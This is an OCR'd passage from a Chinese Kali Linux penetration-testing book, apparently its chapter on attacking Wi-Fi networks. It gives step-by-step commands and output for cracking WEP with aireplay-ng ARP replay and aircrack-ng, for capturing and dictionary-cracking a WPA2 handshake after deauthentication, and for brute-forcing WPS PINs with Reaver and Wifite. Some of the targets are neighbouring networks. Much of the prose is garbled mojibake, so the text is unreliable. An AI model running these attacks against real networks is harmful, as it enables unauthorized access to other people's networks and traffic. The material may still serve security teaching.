Last : Wad Jul 23 17:24:48 2014
Type : To Distribution
MAC » DDIC1:40: 7605 6C
Charnel : 0
Frequency : O - 74538 packets, 100,00%
Max Seen ;1000
LLiC H ¢ ]
Data ¢ 74538
Crypt : 74538
Fragrl'en'ts Ha e}
Retries 0
Total : 74538
Datasize : G385686
Seen By : wlanO® (wlanOmon) bOSSeced-124a-1led-bbef - decodbb23e20]1 74538 packe
ts
wad Jul 23 17:24:48 2014
client 2: MAC 14:EG:E4:AC:FB:20
Manuf : Tp-LinkT
First Wed Jul 23 17:21:12 2014
Last : Wed Jul 23 17:24:458 2014 |*]
46,1 e

M9.14 HFESE

9.2 1% J Aircrack-ng T ELBURF T 4R N 45

Aircrack-ng & —BUAE T o2k 802.11 BhLTS WEP Je WPA-PSK fnig iy T H.. %1
FL: B T PR A7 AT WEP . Bk FMS 3k, %807 5O LR BLi% WEP
H W9 N 4 % (Scott Fluhrer, Itsik Mantin /2 Adi Shamir) [Tdg#4; % -Fe Korek
Yoihe, BACGH 7 AU I Gt AT B Y, I Lz B AR S T FMS Bl AR
448 /] Aircrack-ng i i o2k 9 4% .

9.2.1 ##fiR WEP in& el otk Mg

Wired Equivalent Privacy 2{ WEP (7285520 ) SO0 78 & 13 2 (8] Tk AL 5 1)
HalE A ag gy 20, HBPTEARER P apr sl AL Mt . A s o F s C ek
H WEP &7 JLA~55 45, Pk 2003 4F4% Wi-Fi Protected Access (WPA) ik, X7 2004
e R TEEE 802,111 dniE (O FR0 WPA2) FTHLA. ANl r43 it WEP I i
Joek 45

{H] Aircrack fEBE{EH] WEP In@s i) ok 5 . HARE{E D8 F ik

(1) f¥H] airmon-ng ir & &6 1 RGP AL MEEREE D . AT RS FHs:

kali:~# airmon-ng
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

i G B, MRS A oM a0 . M g5 9L Interface 51|, 1
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LLE B Y37 RN 2 114 wlan0.

(2) &% wlan0 #2171 MAC Hihk. R4 MAC HehbbriR LT MR, B8
) MAC Mk nf LB 515 ) MAC Huht, #E1E0 MAC Hahk2 dqy, 25 e . 4T
iy s

root@kali:~# airmon-ng stop wlan0 #=1F wlan0 $#0O
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode disabled)

E/E P
root@kali:~# ifconfig wlan0 down

PATEL B2 )5, wlanO £ P b R LHE S MAC bk 7, hdTdr & b
Eﬁ';j\:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan(
Permanent MAC: 00:c1:40:76:05:6¢ (unknown)

Current  MAC: 00:c1:40:76:05:6¢ (unknown)

New MAC: 00:11:22:33:44.55 (Cimsys Inc)

S s B o 7 wlan0 3 0k 2 1 MAC Bkl 280 MAC Hohl 22 SEr i MAC Ml
Al LU F) wlan1 35 L1010 MAC Hihl O 2 sz 0.
(3) EHIEE wlan0. $4Ta4 FEras:

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-

FID Name

2567 MNetworkManager

2716 dhclient

15609  wpa_supplicant

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]
(monitor mode enabled on mon0)

S B o T B MR wlan0 [F5  RORED R, i, 0 RS Jo ek Rk
24 Ralink RT2870/3070; ER A BREN 4 rt2800usb, Ff 5 e Wr s = 3k i FH L o i R 24 1
A mon0.

A1 L 1] airmon-ng start wlan0 7% i G2 R, n g2 3 SIOCSIFFLAGS:
Operation not possible due to RF-kill 1% . B EP A Linux R4 80 RE-kill, iZ2804F 4
TS A B L 5 4 Chn WIFT # Buletooth) Hzhoc[4]. 2 H] P Al F a3 55 0+,
RF-kill A8 fem HahdTHF, TEFahigai. B ol LT rfkill list w74 & i 1 i
U I

root@kali:~# rfkill list

0: ideapad_wlan: Wireless LAN
Soft blocked: yes

Hard blocked: no

1: phy0: Wireless LAN

Soft blocked: yes

. 274 -



EU R S A LIRS ST LTS

Hard blocked: no
AP g S, RoER SR ES . ATl ige gy, Fbels

HIREA % T B, ST ﬁfﬁl’f‘“ﬁl’@“:

i

root@kali:~# rfkill unblock all
PATEL B4 5, B EAE Bit . BA b S Eon, MRER BT #OCH v & .
(4) {#H] airodump i 4 A7 BT BT A o] F I JC 2R 2% . FhAT d & T B o .

root@kali:~# airodump-ng wlan0
CH 2 ][ Elapsed: 1 min ][ 2014-05-15 17:21

BSSID PWR Beacons #Data,#sCH MB ENC CIPHER AUTH ESSID
14:E6:E4:AC:FB:20 -30 40 13 0 1 54e. WEP WEP Test
8C:21:.0A:44:09.F8 41 24 2 0 6 54e. WPAZ CCMP PSK  yzixt
14.E6:E4:84:23.7TA 44 17 1 0 1 54e. WPA2Z CCMP PSK  yzixt
C8:64:C7:2F:A1:34 -64 19 0 0 1 54 OPN CcmMmcc
1C:FA68:DT:11:8A -64 37 0 0 1 b4e. WPAZ CCMP PSK  TP-LI
EA:B4.CT:2F:A1:34 -64 18 0 0 1 54 WPA2 CCMP MGT CMCC-
DA64.C7:2F.A1:34 -64 18 0 0 1 54 OPN CMCC-
4A:46:08:C3:99:DC 66 7 0 0 1 54 OPN CMCC-
E0:05.C5:E7:68:84 67 17 0 0 1 54 WPAZ CCMP PSK  TP-LI
5A:46:08:C3:99:DC 67 10 0 0 1 54 WPA2Z CCMP MGT CMCC-
CC:34:29:5A:8E:BO -68 26 0 0 6 54e, WPA2Z CCMP PSK  TP-LI
5A:46:08:C3:99:D9 -68 2 0 0 11 54 WPA2 CCMP MGT CMCC-
5A:46:08:C3:99:D3 -68 16 0 0 6 54 WPA2 CCMP MGT <leng
38:46:08:C3:99:D9 -68 9 0 0 11 54. OPN CMCC
9C:21:6AE8:89:E0 -68 27 0 0 11 54e. WPAZ CCMP PSK  TP-LI
EA:64:C7:2F:AQ:FF -68 7 0 0 11 54 WPA2 CCMP MGT CMCC-

PL_E i (945 B 5 T B Air vl B G 2 % . R 31 P A8 S 0k 1) o e i Pl 2%

2T Ctrl+C 85 18 % .

M s Brh 2R 2280 VEE A F s,

BSSID: JLek (1] IP Mok

PWR: 4R & {5 5K

Beacons: k% H 100 5 45 .

#Data: 4 2R HGE A R CE . RISl

#ls: L2 10 iffh-.ll'|A|f~1.-1=fl:ﬁh{k¢w.w;}é'JirrfJ- R,

CH: {5185 (M Beacons "F3kHL) .

MB: AT FF i iaii=. i MB=11, &/ 802.11b; i MB=22, '&i

802.11b+; T8 sl 802.11g. ST A (i T 54 25 ) FW] 32 #y RaaT 8.

ENC: {f R (F1hn# 546 R . OPN #n BN . WEP? %75 WEP 5% WPA/WPA2

+ 3, WEP CGRA nS) Fpnifdsolahd: WEP. W HH TKIP 5k CCMP, #i4

/& WPA/WPA2.

O CIPHER: il 2] s 4ii%, i CCMP, WRAAP. TKIP. WEP fl WEP104 1
A~ MR RGE (AS 2) , TKIP 5 WPA £5451EH], CCMP 5 WPA2 £5 45
. EFEHERIMEN T 0, Zo3 WEP40. biiElEIL R, &9| 0-3 i 40bit,
104bit W iZ% 2 0.

COO0OU0O0C0C O

(]
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O AUTH: {FHBTAUERML . & H BT MGT (WPA/WPA2 {8 AT D0k iR 55 2%
PR AT Y 802.1x. radius FIl eap %%) . SKA (WEP [fJLz2# 8] | PSK
(WPA/WPA2 7t 2% 8H) 5 OPN (WEP H i) .

O ESSID: #5TiH SSID 5. WS )e FHEREN SSID f1if, &rl LS. Xt
I, airodump-ng 1 € M\ proberesponses fll associationrequests 1 4k SSID.

O STATION: 7/ i) MAC Huhlb, BL3HE b0 AR 223888 o 2 ok 432 (1) 7 ) i
IS E P EHE [, #AF BSSID | & “notassociated”

O Rate: Fo{bfid.

O Lost: 7Eid 2 10 #hehpy L08R 4, 25 T Real o R, & BT I3 i ok
AR 6, B ARE EwWh AT — s B SRR A AR At b i
A HT— A~ 1 s — ek BE E 2 T LA

O Frames: 75" 5 A0 (1) 04l A 20 £ .

QO Probe: #% P im ) ESSID. A% F im bk Pl e £ M oER, (HR Ve Ay g
by WA R R IX .

(5) fiH] airodump-ng fili #5452 BSSID i 0. $47dr 4 Fis.

airodump-ng 2 F &I W0 R B

Q -c: FEEEFEMGNE.

Q -w: fifE R, TR R ) il -

O -bssid: $72 Xk BSSID.

F 14 Bssid & 14:E6:E4:AC:FB:20 Y026 8% th 28 4F b Wik Hibw . $ATdr &0 o

root@kali:~# airodump-ng —c 1 -w wirelessattack --bssid 14:E6:E4:AC:FB:20 mon0
CH 1][ Elapsed: 9 mins ][ 2014-05-15 17:31

BSSID PWRRXQ Beacons #Data,#s CH MB ENC CIPHER AUTHESSID

14.E6:E4.AC:FB:20 -37 O 5175 216 0 1 Sde. WEP WEP OPN Test

BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 00:11:22:33:44:55 0 0-1 117 88836
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF  -24 54 -54e 654 312
14:E6:E4:AC:FB:20 08:10:77:0A:53:43 -36 0-1 6 9832

Mg 45 b r LU 3] ESSID Jy Test Jo2k i th 43 (f#Data — HIEE, RafrHm
¥ 1IE5 ',ﬁj?ﬂéiﬁlfffﬁﬂ'}ﬁl:‘ﬁ PA B S AT S, SRR N8k wirelessattack-01.ivs (1]
SCA, 1A i wirelessattack.ivs. 1% 5[4 24 airodump-ng T JUJT D7 AT TR R e I iR
A7 SR AE SO 75, T2ah® T-01 XRERIF S, BAUbHE. #E3bfT e ikl
i, 50 H R R SCE 4 wirelessattack (54T 105, #4494 {kf'_’. #y wirelessattack-02.ivs .

(6) FIH—ABri&enyid [, =T aireplay #ir 4. aireplay @iy 2 [ i5328 L0 R e

aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]

aireplay-ng -dauth 1 -a [BSSID] -¢ [our Chosen MAC address] [Interface]

i 2)) aireplay, AT #7400 FFTR:

root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0
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The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55

17:25:17 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1

17:25:17 Sending Authentication Request (Open System) [ACK]

17:25:17 Switching to shared key authentication

17:25:19 Sending Authentication Request (Shared Key) [ACK]

17:25:19 Switching to shared key authentication

17:25:21 Sending Authentication Request (Shared Key) [ACK]

17:25:21 Switching to shared key authentication

17:25:23 Sending Authentication Request (Shared Key) [ACK]

17:25:23 Switching to shared key authentication

17:25:25 Sending Authentication Request (Shared Key) [ACK]

17:25:25 Switching to shared key authentication

17:25:27 Sending Authentication Request (Shared Key) [ACK]

17:25:27 Switching to shared key authentication

17:25:29 Sending Authentication Request (Shared Key) [ACK]

17:25:29 Switching to shared key authentication

(7) {EH] aireplay Aif—SUiiatay Lek i thas, LLE THREWE STk 240 . B fs
TR

aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]

AT % W R B

root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0
The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55
17:26:54 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
Saving ARP requests in replay_arp-0515-172654.cap
You should also start airodump-ng to capture replies.
Motice: got a deauth/disassoc packet. |s the source MAC associated 7
Read 1259 packets (got 1 ARP requests and 189 ACKs), sent 198 packets...(499 pps
Read 1547 packets (got 1 ARP requests and 235 ACKs), sent 248 packets...(499 pps
Read 1843 packets (got 1 ARP requests and 285 ACKs), sent 298 packets...(499 pps
Read 2150 packets (got 1 ARP requests and 333 ACKs), sent 348 packets.. (499 pps
Read 2446 packets (got 1 ARP requests and 381 ACKs), sent 398 packets.. (499 pps
Read 2753 packets (got 1 ARP requests and 430 ACKs), sent 449 packets...(500 pps
Read 3058 packets (got 1 ARP requests and 476 ACKs), sent 499 packets...(500 pps
Read 3367 packets (got 1 ARP requests and 525 ACKs), sent 548 packets...(499 pps
Read 3687 packets (got 1 ARP requests and 576 ACKs), sent 598 packets...(499 pps
Read 4001 packets (got 1 ARP requests and 626 ACKs), sent 649 packets...(500 pps
Read 4312 packets (got 1 ARP requests and 674 ACKs), sent 699 packets...(500 pps
Read 4622 packets (got 1 ARP requests and 719 ACKs), sent 749 packets...(500 pps
Read 4929 packets (got 1 ARP requests and 768 ACKs), sent 798 packets...(499 pps
Read 5239 packets (got 1 ARP requests and 817 ACKs), sent 848 packets...(499 pps

it 115 B AER] ARP Requests (7 R L ARP SRR C b #, el [ 54
airodump-ng SLI 27 E, A LLEF Test (1] Frames £200 480270 CaE (P . 7R 1 G2k 5
WAk SCE B T i at e, — MRS IVsX Bk ®] 2 Ll Bk, win] LT MM, A
FE I A S o e L SOk SR, AR S 220l L ik

(8) ¥ H] Aircrack Wi . PAT AT -S40 T Aros:

root@kali:~# aircrack-ng -b 14:E6:E4:AC:FB:20 wirelessattack-01.cap

Opening wirelessattack-01.cap

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 7197 ivs.
Aircrack-ng 1.2 betal
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[00:00:54] Tested 15761 keys (got 10002 1Vs)

KB depth  byte(vote)

0 Of 4 61(17408) BA(16384) 9B(15616) E1(15616) 28(15104) 77(14592) 10(14336)
1 1/ 5 62(15360)66(14336) 3C(14080) 76(14080) 5E(13568) 23(13312) 25(13312)
2 213 63(14336) 11(14336) TA(13824) AA(13824) A9(13568) 5D(13568) 7TE(13312)
3 3/ 7 EF(14336) 38(14080) 3E(14080) 8A(14080) D9(14080) DE(14080) 6E(13824)
4 910 65(13824) 36(13568) 42(13568) 8B(13568) BF(13568) 29(13312) 7F(13312)

KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 100%

B H F 5 S b T LU 3] KEY FOUND, % 463630, abede.
9.2.2 #§#E WPA/WPA2 Jo4 M4k

WPA 4%, 5 Wi-Fi Protected Access, 1 WPA il WPA2 W4~ kidE. &2 FP{pdn ik
FEL A [ 25 22 4 TR s . %5 WPA/WPA2 D8 P2k &, 0o FOR e 20 08 R s
e ANFIMSE, FEfER] airodump-ng BEFTOCEREEINT SR E, S WPA
CCMP PSK. *f#H] aireplay-ng i 47 Bikif, [FIFE LRI F] WPA {8 F-Hie 6 M ddan: 7ol
O T BRI — R S, R R A A WPA/WPA2 L e M 2811 7 1.

{ifi Fi] aircrack-ng il filf WPA/WPA2 TGk [W &% (1) HARER M0 1R F s

(1) SR LEMEED . ATarS T ras:

kali:~# airmon-ng

Interface  Chipset Driver

wilan0 Ralink RT2870/3070  rt2800usb - [phy1]

(2) gk ek a0 . BT dr S R R

root@kali:~# airmon-ng stop wlan0 #Z1E wlan0 ##0
Interface  Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy1]

{(monitor mode disabled)

(3) EUCEE M MAC Hubik. #0457 ar4 00 F T

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent MAC: 00:c1:40:76:05:6¢ (unknown)

Current  MAC: 00:c1:40:76:05:6¢ (unknown)

MNew MAC: 00:11:22:33:44:55 (Cimsys Inc)

(4) FITH LMD . W75 T s

root@kali:~# airmon-ng start wlan(0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

-e
PID Name

2567 NetworkManager

2716 dhclient

15609 wpa_supplicant

Interface Chipset Driver

wilan0 Ralink RT2870/3070 rt2800usb - [phy1]

(monitor mode enabled on mon0)
(5) fPEERE. BATHES W FER:
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root@kali:~# airodump-ng -c 1 -w abc --bssid 14:E6:E4:AC:FB:20 mon0
CH 1][Elapsed: 3 mins ][ 2014-05-15 17:53 || WPA handshake: 14:E6:E4:AC:FB:20

BSSID PWRRXQ Beacons #Data,#/s CH MB ENC CIPHER AUTH ESSID

14E6:E4ACFB20 -47 0 1979 5466 24 1 54e. WPAZ CCMP PSK  Test

BSSID STATION PWR Rate Lost Frames Probe
14:E6:E4:AC:FB:20 18:DC:56:F0:62:AF -127 Oe-0e 0 481
14:E6:E4:AC:FB:20  08:10:77:0A:53:43 -32 01 40 5035
14:E6:E4:AC:FB:20 08:10:77.0A:53:43 -30 0-1 46 5039

(6) A ICEE % 2% Test #E9T Deauth Fordi. #irdr 4 F s

root@kali:~# aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c 00:11:22:33: 44:55 mon0
17:50:27 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
17:50:30 Sending 64 directed DeAuth. STMAC: [00:11:22:33:44:55] [12|59 ACKs]

(7) WEfSER . AT 20 s

root@HKali:~# aircrack-ng -w ./dic/wordlist wirelessattack-01.cap
Opening wirelessattack-01.cap

Read 2776 packets.
# BSSID ESSID Encryption
1 14:E6:E4:AC:FB:20 Test WPA (1 handshake)

Choosing first network as target.
Opening abc-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 beta1
[00:04:50] 1 keys tested (500.88 k/s)
KEY FOUND! [ daxueba ]
Master Key : B2 51 6F 21 66 D5 19 8F 40 F8 9E 97 41 EO 85 81
51698F 1ICADCAAB5B 5958 BDF2 06 34 BB F2
Transient Key :AA 7B 3094 92 EC CE 63 EB FO 28 84 00 8A 74 0A
FF 6A 0015 B7 18 01 47 AD BF 78 9D 9C 23 8B 8E
0B 7C 73 52 DF 35 CB C9 30 22 9E FB 94 A2 9B 1A
F2410266 A1165B 79 74 FB OB ED 97 E2 94 12
EAPOL HMAC :88FC 8B 0941 7C 67 8C7561F7 45 CB 88 F6 BF

W S B 0] LU B G 26 B8 th 2% 1) 3 08 4 i Dh il i . 7F KEY FOUND #0045
flj o] LA E 2S00 g AR, A daxueba, RERREEEELYh 500.88 kis.

9.2.3 IiFH WPS (Wi-Fi Proteced Setup)

WPS & tH Wi-Fi IS AT HE 148 Wi-Fi e P vese bnifl . &bnifE = 8200 T
Jo 2k 190 28 I DA UE 155 1) 20 Bl T 2% i B o DAL R 0 i P ek 1 o R D s 20 SR R AT
LLEE T AT 0 8% e g, M5 ERVF 2 24 ERm . B AR 2 A @] WPS i
Jogk it %, ATRLE AN ACEBIES (PIND 5344l (PBC) HUCHI A — MRS I RE . 2
T ShRe s, Mo g o LU 8 oh Bk i iz deh WPS. A/ ig e g B &% T
H It WPS.

BUAE JCH Ay i h 4 LAl S FF WPS IhfE. LAATER a7 L 110 WPS B, BLZE (1K
#AFH] QSS ThEEHAC T . X M LL TP-LINK BS54, f-4iiE s WPS Ihig, ¥ 9.15 By
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e WIHLER] WPS 1] PBC 752k, HarEisk Feghds [ QSS/RESET #&#lsknl LA T .

ey
wsHRE: 2R
LEFIAE: mssese | (EEAEPING | [ EEEEPna |

EfcE:  [Ghmes

ETN

o115 %% WPS

MAZ S el LA 3] QSS ThEe L IT e, nl LA 2 a1 PIN 4/E 04588306, X Hial LA
HHT AR OB PIN A4, a5l ¥ 3 #1046 PIN §9.

[ 9-11 {# H] Reaver fififit WPS. HAREE/E LT s,

(1) $EANLLMF, H] ifconfig fir 2 FE LM F2EH L IEMIGE A ATH 4

i

root@Kali:~# ifconfig

eth0

Link encap:Ethernet HWaddr 00:19:21:3f.c3:e5

inet addr:192.168.5.4 Bcast:192.168.5.255 Mask:255.255.255.0
ineté addr: fe80::219:211f.fe3f:c3e5/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10541 errors:0 dropped:0 overruns:0 frame:0

TX packets:7160 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:4205470 (4.0 MiB) TX bytes:600691 (586.6 KiB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

ineté addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:296 errors:0 dropped:0 overruns:0 frame:0

TX packets:296 errors:0 dropped:0 overruns:0 carrier.0
collisions:0 txqueuelen:0

RX bytes:17760 (17.3 KiB) TX bytes:17760 (17.3 KiB)

M H A S b T AR 2, A AN BURRE L eth0. X2 PR 4 Jo2k -k vl BE B 1
&1, EACkRENZ M . AT A R R

root@Kali:~# ifconfig wlan0 up

PATLL B4 )5, SO Bl . e PRk ifconfig firds, FE LERMILE AL
TEREE Wr R

root@Kali:~# ifconfig

111111

Link encap:Ethernet HWaddr 08:10:76:49:¢3:cd

UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

FERILL B B, W cek R S alish g sh, a1 4 wlan0.
(2) JAahEER R . AT S PR
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root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

-e
PID Name

2618 NetworkManager

2870 wpa_supplicant

27052 dhclient

Interface Chipset Driver

wlan0 Ralink RT2870/3070 rt2800usb - [phy16]

(monitor mode enabled on mon0)

Mg s B, wl Bl #) monitor mode enabled on mon0, # o 52E M O sl iy
fal. fELL BfE b, dnl LLE R M A g akah e al . Hdp, &R o
Ralink, Ek i\ 8Kz 4 rt2800ush,

LUEE. ATl LA ey o X, — & 2% AR5 B4 R a5 B felks), T,
% A 4% T 4L S RO

(3) Bt WPS. i ATar ST i o

root@kali:~# reaver -i mon0 -b 14:E6:E4.AC:FB:20 -vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@ tacnetsol.com=>
[+] Waiting for beacon from 14:E6:E4:AC:FB:20

[+] Switching mon0 to channel 1

[+] Switching mon0 to channel 2

[+] Switching mon0 to channel 3

[+] Switching mon0 to channel 11

[+] Switching mon0 to channel 4

[+] Switching mon0 to channel 5

[+] Switching mon0 to channel 6

[+] Switching mon0 to channel 7

[+] Associated with 8C:21:0A:44:09:F8 (ESSID: yzixty)
[+] Trying pin 12345670

[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received WSC NACK

[+] Sending WSC NACK

MEL i 5 B, iR SRS i 2] 14:E6:E4:AC:FB:20 L th AR 115 5 .
Jf FLf A2 3% PIN (5 8L, FREUES.

L AT I AR T I WPS 3%, R B T B s AR B

['] WARNING: Failed to associate with 14:E6:E4:AC:FB:20 (ESSID: XXXX)

Fern WiFi Cracker J& —MEHARHIN T I, FIRMBEL M4 24, 5l 24 i
% T H, Xk Wi-Fi g . 3083 55 4 44 ) Fern WiFi Cracker T H2fe Xty WPS.
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(325l 9-2] (M) Wifite Hrils WPS.  HLARER 205U T fras .

(1) Fish Wifite T H, Ji45:2 M H] common.txt S5 7 8, 78 ir S 47 28 amh A7 F By
)i 4

root@kali:~# wifite -dict common.ixt

PATEL B2 Ja, K Bt AT fE B

G o h WiFitevE{rBS}
() : = = automated wireless auditor

Lo A " designed for Linux
. ! | o
! \
[+] WPA dictionary set to common.txt
[+] scanning for wireless devices...
[+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
[0:00:14] scanning wireless networks. 0 targets and 1 client found

PL AR R s T WiFite TRRAG B, /P, JFHIFGFHc e, 54
PR B R LR M ER I, 4% F CTRLAC 41 & 85 114
(2) fFbfaioce M e, A5 2Rt R s R

[+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.

NUM ESSID CH ENCR POWER WPS?  CLIENT
1 yaty 11 WPA2  65db wps
2 Test 1 WPA2 52db wps
3 CMCC-AUTO 1 WPA2  29db no
4 CMCC-LIU 6 WPA2 28db wps
5 TP-LINK D7118A 1 WPA2 -13db wps  clients

[0:00:37] scanning wireless networks. 5 targets and 3 clients found
[+] checking for WPS compatibility... done

NUM ESSID CH ENCR POWER WPS? CLIENT
1 yzty 11 WPAZ2 65db wps
2 Test 1 WPAZ 52db wps
3 CMCC-AUTO 1 WPA2  29db no
4 CMCC-LIU 6 WPA2  28db wps
5 TP-LINK_D7118A 1 WPAZ -13db wps clients

[+] select target numbers (1-5) separated by commas, or 'all";

MEL i Bl BUE 2463 Lﬁ’ﬁd‘”\wﬂl AP . SRR,
CRIRT 78], SRFRTEEN LSS, ESSID 5. (Fil. &, m%E, BREH
3 wps A1 G W0 AN P i R ML}H\: i, W] CLIENT #1755 it client.
WHERA 2% P a2 1G22 clients.

(3) ki, EHFEAdR LRI R BIERER LA TLEN A “17 o 2
Ja % R MR T iR Py, s B F s

[+] select target numbers (1-5) separated by commas, or 'all": 1

[+] 1 target selected.

[0:00:00] initializing WPS PIN attack on yzty (EC:17:2F:46:70:BA)

[0:11:00] WPS attack, 0/0 success/ttl,
['] unable to complete successful try in 660 seconds
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[+] skipping yzty
[0:08:20] starting wpa handshake capture on "yzty"
[0:08:11] new client found: 18:DC:56:F0:62:AF
[0:08:09] listening for handshake...
[0:00:11] handshake captured! saved as "hs/yzty EC-17-2F-46-70-BA.cap”
[+] 2 attacks completed:
[+] 1/2 WPA attacks succeeded
yzty (EC:17:2F:46:70:BA) handshake captured
saved as hs/yzty EC-17-2F-46-70-BA.cap

[+] starting WPA cracker on 1 handshake
[0:00:00] cracking yzty with aircrack-ng
[+] cracked yzty (EC:17:2F:46:70:BA)!
[+] key: "huolong5”

[+] quitting

MBS S, el DU B R R vty Jo2k i 45 11 24 huolongs5 .
9.3 Gerix Wifl Cracker #%fif T 2% W #4&

Gerix Wifi Cracker &%~ aircrack [/ H] - Ft i ) Jo ek M ag il i T 5. AT 4
1 1% T EL A A 2 1o 2 R ) e (R e N

9.3.1 Gerix T fi2 WEP /in%s 84 Jc 2 [ 4%

LAV r4d 7 Fa{EH Aircrack-ng il fif WEP F1 WPA/WPA2 % o es. AT
i, AT Gerix TR [ b X 2R M E% A ] Gerix By WEP I ()0
ER . FLAARERE IR .

(1) & Gerix #fH. AT 20 FHR:

root@kali:~# wget https://bitbucket.org/SKin36/gerix-wifi-cracker-pygt4/ downloads/gerix-wifi-
cracker-master.rar

-2014-05-13 09:50:38- https://bitbucket.org/SKin36/gerix-wifi- cracker- pyqgtd/downloads/gerix-
wifi-cracker-master.rar

IEFEREFTE# bitbucket.org (bitbucket.org)... 131.103.20.167, 131.103.20.168

IE#E¥# bitbucket.org (bitbucket.org)|131.103.20.167|:443... S&#E.

Bl HTTP XK, EFEFFHFEIL... 302 FOUND

{iL & : http:/fcdn.bitbucket.org/Skin36/gerix-wifi-cracker-pyqtd/downloads/ gerix-wifi-cracker-master.
rar [ MEZE #EY URL]

--2014-05-13 09:50:40-  htitp://edn.bitbucket.org/Skin36/gerix-wifi- cracker-pyqgtd/downloads/
gerix-wifi-cracker-master.rar

IE{E 7 £41 cdn.bitbucket.org (cdn.bitbucket.org)... 54.230.65.88, 216.137. 55.19, 54.230.
67.250, ...

IEFE¥#E cdn.bitbucket.org (cdn.bitbucket.org)|54.230.65.88/:80... B%#E.

B&H HTTP &k, EHEZFFEL... 200 OK

HE: 87525 (85K) [binary/octet-stream]

FHERTFE: “gerix-wifi-cracker-master.rar”

100%[= = ===>] 87,525 177K/s HREt 0.5s
2014-05-13 09:50:41 (177 KB/s) - E1®7F “gerix-wifi-cracker-master.rar” [87525/87525])

M B TP &5 B0T L)L 75 #1) gerix-wifi-cracker-master.rar SC{F 2 F & sER, MR AE(E 0T H
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FIE

=

b h o
(2) fif I Gerix $/F. AT a2 T s,

root@kali:~# unrar x gerix-wifi-cracker-master.rar
UMRAR 4.10 freeware Copyright (c) 1993-2012 Alexander Roshal

Extracting from gerix-wifi-cracker-master.rar

Creating  gerix-wifi-cracker-master OK
Extracting gerix-wifi-cracker-master/CHANGELOG OK
Extracting gerix-wifi-cracker-master/gerix.png OK
Extracting gerix-wifi-cracker-master/gerix.py OK
Extracting gerix-wifi-cracker-master/gerix.ui OK
Extracting gerix-wifi-cracker-master/gerix.ui.h OK
Extracting gerix-wifi-cracker-master/gerix_config.py OK
Extracting gerix-wifi-cracker-master/gerix_config.pyc OK
Extracting gerix-wifi-cracker-master/gerix_gui.py OK
Extracting gerix-wifi-cracker-master/gerix_gui.pyc OK
Extracting gerix-wifi-cracker-master/gerix_wifi_cracker.png OK
Extracting gerix-wifi-cracker-master/Makefile OK
Extracting gerix-wifi-cracker-master/README OK
Extracting gerix-wifi-cracker-master/README-DEV OK
All OK

LL S N EF Bos T Gerix SPFOANERE . MW fE el DoE 2], 8 H
A S ARAT A

(3) Ty {des, s Y gerix-wifi-cracker-masger H st 53] Linux 5245481
H st/usr/share . FATa5-2 W0 F s

root@kali:~# mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker
AT UL _Edr S I A s s B
(4) YHRF] Gerix FI{EMIAE, JFRE) Gerix TH. A7 dr4 W F R

root@kali:~# cd /usr/share/gerix-wifi-cracker/
root@kali:/usr/share/gerix-wifi-cracker# python gerix.py

ATEL B4 hn, ARt 9.16 Fras iy fhi .

Barln wifl cracher |

Welcome  Configuration WEF WPA Fake AP Crachling Databese  Credis

~ 7
e B

Gerix racker

Hiel Lo madl Weloome!
Garls Wil Cracher Is a GUI that cam hellp you o werk in Winslass BOZ 11 Penatratien Test
Cramted by Emssusle “smgent” Gerih arvd Emarvele *crossbener Acri frem Germ T com

eyt

OS5 141 - datsbae relnaded Ironti gerix-vefcr acher ! bey-databhmpe db [ LI |

Gerix m.= ..

E 916  Gerix s H
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(5) MAZS ] G 3 Gerix Edis e N sh. teit, H AR )45 Configuration
